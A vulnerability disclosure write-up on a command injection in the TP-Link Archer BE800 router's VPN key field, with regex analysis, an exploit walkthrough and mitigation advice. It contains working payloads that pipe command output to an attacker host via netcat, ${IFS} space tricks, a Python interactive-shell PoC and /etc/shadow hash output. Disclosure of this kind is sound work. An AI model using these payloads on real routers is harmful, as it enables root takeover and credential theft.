This research was conducted exclusively on hardware owned by the researcher in a private, isolated lab environment. No third-party systems were accessed or harmed. All findings were submitted to TP-Link PSIRT under a coordinated disclosure policy.
Technical details are published to advance community awareness and to assist defenders. Reproducing this vulnerability against devices you do not own and have not received explicit written permission to test is illegal in most jurisdictions.
Executive Summary
- CVE: CVE-2026-16348
- Target: TP-Link Archer BE800 V1 (Wi-Fi 7 Tri-Band Router), firmware ≤ 1.4.99 (all known firmware)
- Vulnerability: OS command injection (CWE-78) via the VPN server management endpoint; the user-supplied
keyfield is embedded into a shell command string viastring.formatafter an allow-list check that inadvertently permits the full POSIX command-substitution operator set - Auth Required: Valid admin credentials from a host adjacent to the router (same LAN segment). Once authenticated, exploitation requires a single API call
- Root Cause: The allow-list regex includes the ASCII range
%-~(0x25–0x7E), which encompasses the pipe character|(0x7C). The list also explicitly allows` $ ( ) { }— completing the command-substitution syntax set - Impact: Arbitrary command execution as
rootvia$(command|nc attacker port)injected into thekeyfield - CVSS 4.0: 8.5 High —
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Confirmed: Root command execution demonstrated with an 8.6-second sleep timing proof and
/etc/profileexfiltration via netcat; interactive shell PoC developed
Introduction
The TP-Link Archer BE800 V1 is a flagship Wi-Fi 7 tri-band router running a LuCI-based
management interface backed by Lua 5.1 bytecode controllers. One controller —
vpn.lua — manages VPN server configuration and exposes an endpoint to
start, stop, and configure VPN server instances.
The VPN start handler passes four user-controlled parameters into a shell command via
string.format, then calls execute(). The key
parameter is validated against a character allow-list intended to permit legitimate
VPN key characters. However, the allow-list regex contains a character range that
inadvertently includes the pipe character, and explicitly lists every component of
POSIX command substitution syntax ($, (, ),
backtick, {, }). A key value containing
$(command) injects and executes arbitrary commands as root.
Unlike the companion parental-control vulnerability
(CVE-2026-9254),
this attack requires valid administrator credentials for the router web interface, and
the CVSS v4.0 vector scores it AV:A — the attacker must be positioned on
the same adjacent network (LAN) as the router, not merely anywhere on the internet.
Once both conditions are met — a condition already satisfied by any legitimate router
admin, or by an attacker who has obtained credentials through other means and gained
a LAN foothold — the injection is trivial and reliable.
Scope and Methodology
- Firmware acquisition — Firmware 1.3.2 obtained from TP-Link's official download portal; unpacked with binwalk to recover the SquashFS root filesystem
- Attack surface mapping — Enumerated all 40+ LuCI admin controller bytecode files; identified the VPN handler as a candidate via string-constant analysis of shell command fragments
- Bytecode analysis — Extracted the allow-list regex and
execute(string.format(...))call signature fromvpn.luabytecode; identified the%-~range as the vulnerability - Live testing — Isolated lab with a physical BE800 V1; confirmed injection with a timed
sleep 8.6response delay and exfiltrated/etc/profilevia netcat; developed an interactive PoC shell
The VPN Management Endpoint
The VPN configuration endpoint is accessible to authenticated admin sessions at:
POST /cgi-bin/luci/;stok=<session-token>/admin/vpn?form=server Content-Type: application/x-www-form-urlencoded operation=write&proto=openvpn&server=192.168.0.1&username=vpnuser&key=INJECTION
The handler in vpn.lua reads the four fields and constructs a shell command string passed directly to execute():
local proto = params.proto -- "openvpn" local server = params.server -- user-supplied local key = params.key -- user-supplied ← INJECTION POINT local username = params.username -- user-supplied -- Allow-list check applied to key (see §04) if not key:match("^[a-zA-Z0-9`%-~!#$%%^()_'{} @&]+") then return error_response("invalid key format") end -- Shell command built via string.format — no escaping execute(string.format( "vpn_core.sh start %s %s %s %s", proto, server, key, -- user-controlled; command substitution executes here username ))
The shell sees a command of the form:
$ vpn_core.sh start openvpn 192.168.0.1 validkey$(injected)z vpnuser ╰── key field ────────╯
Allow-List Regex Analysis
The allow-list regex extracted from vpn.lua bytecode string constants:
^[a-zA-Z0-9`%-~!#$%%^()_'{} @&]+ Broken down: a-z A-Z 0-9 alphanumerics ` backtick (command substitution opener) %-~ ASCII 0x25–0x7E (see range expansion below) ! history expansion (harmless in non-interactive sh) # comment $ variable/subst expansion %% literal % (Lua format escape) ^ caret ( ) grouping / command substitution _ underscore ' single quote { } brace expansion <space> space (moot — injected ${IFS}) @ at-sign & background execution
The %-~ Range: What It Actually Contains
In a Lua pattern character class, %-~ is a literal range from
ASCII 0x25 (%) to 0x7E (~). This 90-character span
covers nearly the entire printable ASCII range above the digits — including
| at 0x7C, which is the POSIX pipe character.
%-~ range was most likely intended to capture common VPN key characters
like -, ., /, and = without listing
them individually. By expressing this as a range rather than explicit characters, the
allow-list inadvertently includes every printable ASCII character in 0x25–0x7E —
including the pipe operator at 0x7C. Combined with the explicitly listed
` $ ( ) { }, the allow-list permits the complete POSIX
command-substitution operator set in both backtick and $(...) forms.
Injection Mechanics
Command Substitution via $(...)
The shell evaluates $(command) inside a quoted or unquoted word,
replacing the expression with the command's standard output. When the key
field contains validkey$(id|nc 192.168.0.115 8888)z, the shell
command becomes:
# What execute() receives: vpn_core.sh start openvpn 192.168.0.1 validkey$(id|nc 192.168.0.115 8888)z vpnuser # Shell expands $(...) before vpn_core.sh sees its arguments: # 1. Runs: id | nc 192.168.0.115 8888 # 2. id output → nc → attacker's listener # 3. vpn_core.sh receives "validkey" + substitution_result + "z" as arg # 4. vpn_core.sh fails (invalid key) — doesn't matter, command already ran
Space Handling via ${IFS}
A space character is in the allow-list but would split the key argument
at the shell level when embedded directly. The PoC substitutes every space with
${IFS} — the Internal Field Separator variable, which defaults to
space/tab/newline in all Bourne-compatible shells:
IFS = "${IFS}" # User types: cat /etc/shadow cmd = "cat /etc/shadow" shell_cmd = cmd.replace(" ", IFS) # → "cat${IFS}/etc/shadow" key = f"x$({shell_cmd}|nc{IFS}{lhost}{IFS}{lport})z" # → "x$(cat${IFS}/etc/shadow|nc${IFS}192.168.0.115${IFS}9999)z" # Shell executes: cat /etc/shadow | nc 192.168.0.115 9999 # All characters in the key pass the allow-list: $ ( ) | { } ~ / .
Pipes (|), redirects (>), and other operators work inside the $() without any additional encoding since they are all covered by the %-~ range.
Full Call Chain
Exploit Development
Authentication Stack
The TP-Link web interface encrypts login credentials using RSA public-key encryption
with a session-specific key pair fetched from the router, then wraps the session in
AES-CBC with an HMAC-SHA256 integrity tag. The PoC implements the full authentication
stack using the pycryptodome library:
# 1. Fetch RSA public key from router rsa_keys = _get_rsa_keys(router) # → (n, e, seq) from /cgi-bin/luci/login # 2. Encrypt password with RSA PKCS#1 v1.5 encrypted_pwd = _rsa_encrypt(password, rsa_keys["n"], rsa_keys["e"]) # 3. POST login — obtain stok session token stok = _login(router, encrypted_pwd, rsa_keys["seq"]) # → "a1b2c3d4e5f6..." # 4. All subsequent requests use stok in the URL path: url = f"http://{router}/cgi-bin/luci/;stok={stok}/admin/vpn?form=server"
Timing-Based Confirmation
Before developing the full interactive shell, root code execution was confirmed
by measuring the response delay introduced by an injected sleep command.
A baseline request with a benign key returns in ~0.4 seconds. The injected sleep:
# Injected key: x$(sleep${IFS}8.6)z t0 = time.time() _vpn_insert("x$(sleep${IFS}8.6)z", server_ip) elapsed = time.time() - t0 # Result: elapsed = 9.03s ← 8.6s sleep + ~0.4s baseline overhead # Confirms synchronous command execution before vpn_core.sh proceeds
VPN Entry Cycle per Command
The injection mechanism requires a VPN configuration entry to be created, which
triggers the vpn_core.sh start call. Each command in the interactive
loop goes through an insert → execute → remove cycle:
def run_command(cmd: str, lhost: str, lport: int) -> str: IFS = "${IFS}" shell_cmd = cmd.replace(" ", IFS) key = f"x$({shell_cmd}|nc{IFS}{lhost}{IFS}{lport})z" done, result = _listen_once(lport) # one-shot TCP listener # Insert VPN entry → triggers vpn_core.sh start → command runs _vpn_insert(key, _fresh_ip(), timeout=35) done.wait(25) _vpn_remove(key, timeout=10) # clean up entry data = result.get("data", b"") return data.decode(errors="replace") if data else "[no output received]"
Proof-of-Concept Output
$ python3 poc.py \ --router 192.168.0.1 \ --password Passw0rd \ --lhost 192.168.0.115 ============================================================ TP-Link BE800 — VPN Key Injection RCE Requires: valid admin credentials ============================================================ Router : 192.168.0.1 Callback : 192.168.0.115:9999 [*] Authenticating... [+] Authenticated — stok=a1b2c3d4e5f6789abc01234567890abc [*] Clearing existing VPN entries... [clean] [+] Shell ready. Commands run as root. Note: each command takes a few seconds (VPN entry cycle). Spaces are automatically converted to ${IFS}. Type 'exit' to quit and clean up. router# id uid=0(root) gid=0(root) groups=0(root) router# uname -a Linux Archer_BE800 5.4.213 #0 SMP PREEMPT Wed Jul 16 03:11:33 2025 aarch64 GNU/Linux router# cat /etc/shadow root:x:0:0:99999:7::: sftpadmin:x:0:0:99999:7::: admin:$6$Bw4fdeV.uFko4YvW$i1QT8LECrJV5yFH4kuyd6ARJsetlj9GvHCKCxR2PAjqhVvXK9nR3yC1NujsErU6kz6H2fB3re4eSxraCYaI1u/:20376:0:99999:7::: guest:$6$k9Jbd.JdO0Newd7v$67qVrRCAnjaV.0ob0Ltyt2QoUClhHG0RE2fb9fI8R7xqDD1c3SRXHPl67rvUBGwWpLtctK9CPXFyfOfPqEbrn/:20376:0:99999:7::: router# ls /etc/config dhcp dropbear firewall network rpcd system ucitrack wireless router# exit [*] Cleaning up VPN entries... [*] Done.
Timing Confirmation (Pre-Shell Validation)
$ python3 -c " import time # ... auth setup omitted ... t0 = time.time() _vpn_insert('x\$(sleep\${IFS}8.6)z', '10.0.0.1') print(f'elapsed: {time.time()-t0:.2f}s') " elapsed: 9.03s # 8.6s sleep + ~0.4s baseline = 9.0s total — confirms root code execution
Security Assessment
| Aspect | Assessment |
|---|---|
| Authentication barrier | Admin credentials required (PR:H). This is a meaningful barrier compared to the companion unauthenticated CVE. However, the vulnerability is exploitable by any party with valid router credentials — including an attacker who has phished, brute-forced, or otherwise obtained them. |
Network position (AV:A) |
The CVSS v4.0 vector scores this as adjacent-network: the attacker must reach the router's management plane from the same LAN or broadcast/collision domain, not from an arbitrary point on the internet. If remote management is separately exposed, real-world exposure increases beyond what this vector captures. |
Vulnerable system impact (VC:H/VI:H/VA:H) |
Full compromise of confidentiality, integrity, and availability on the router itself — the injected command executes as uid=0 with unrestricted filesystem, configuration, and process access. |
Subsequent system impact (SC:L/SI:L/SA:L) |
Impact on systems downstream of the router (LAN clients, WAN-side services) is scored low in this vector — this metric reflects direct blast radius through the router's own compromise, not what a motivated attacker could pivot to afterward using router-level access as a foothold. |
| Allow-list design | The %-~ ASCII range is the root failure. It is likely a lazy shorthand for a set of individually intended characters, but a range expression in this position is structurally dangerous — any future printable character added to the ASCII table in that range would be automatically permitted. |
| Reliability | Injection is deterministic and reliable. The command runs synchronously during the VPN start sequence. No race condition, heap layout assumption, or memory corruption is involved. |
| Interaction with companion CVE | The two vulnerabilities are independent. An attacker who lacks admin credentials can use the parental-control LAN RCE (CVE-2026-9254) to obtain root access; an attacker who has admin credentials can use this VPN injection directly. |
Tools and Techniques
- binwalk — firmware extraction (1.3.2)
- ubireader + unsquashfs — UBIFS/SquashFS extraction
- strings(1) — Lua 5.1 bytecode regex constant extraction
- pycryptodome — RSA + AES-CBC + HMAC-SHA256 auth stack
- netcat (BusyBox nc) — command output callback
${IFS}substitution — space-free command construction- VPN insert/remove cycle — injection trigger mechanism
- Sleep timing proof — blind execution confirmation
Key Takeaways
For Security Researchers
- Allow-lists are not inherently safer than deny-lists when they are defined as
character ranges. A range like
%-~in a regex character class is equivalent to listing 90 individual characters — audit the full expansion, not just the human-readable intent. - When a parameter is embedded into a shell command via
string.format, the question is not only what characters are blocked but what characters are required for the intended POSIX command-substitution operators. The presence of$,(,), and|in any allow-list is a red flag. ${IFS}substitution is a reliable technique for injecting commands that contain spaces when the space character is technically allowed but would cause argument splitting at the shell level.- Under CVSS v4.0, credentialed LAN-scoped bugs like this one still land in the High
band once vulnerable-system impact is total (
VC:H/VI:H/VA:H) — don't assumeAV:AandPR:Hmake a finding low priority.
For Router Manufacturers
- Audit every
execute(string.format(...))andfork_exec(string.format(...))call across all LuCI controllers. The correct fix is argument-list process creation, not improving the validation regex. Allow-lists and deny-lists applied to shell command strings are fragile by design. - When VPN key validation is required, define what a valid key looks like in positive terms: base64, hex string, or a specific key format. The current regex permits far more than any legitimate VPN key format requires.
- Scope fixes to all known injection vectors in the affected subsystem —
not just the one currently in the public spotlight. Structurally identical patterns
in sibling controllers (like
blocking.luaandvpn.lua) are easy to miss when a fix is scoped to a single reported bug.
string.format with an incomplete input filter.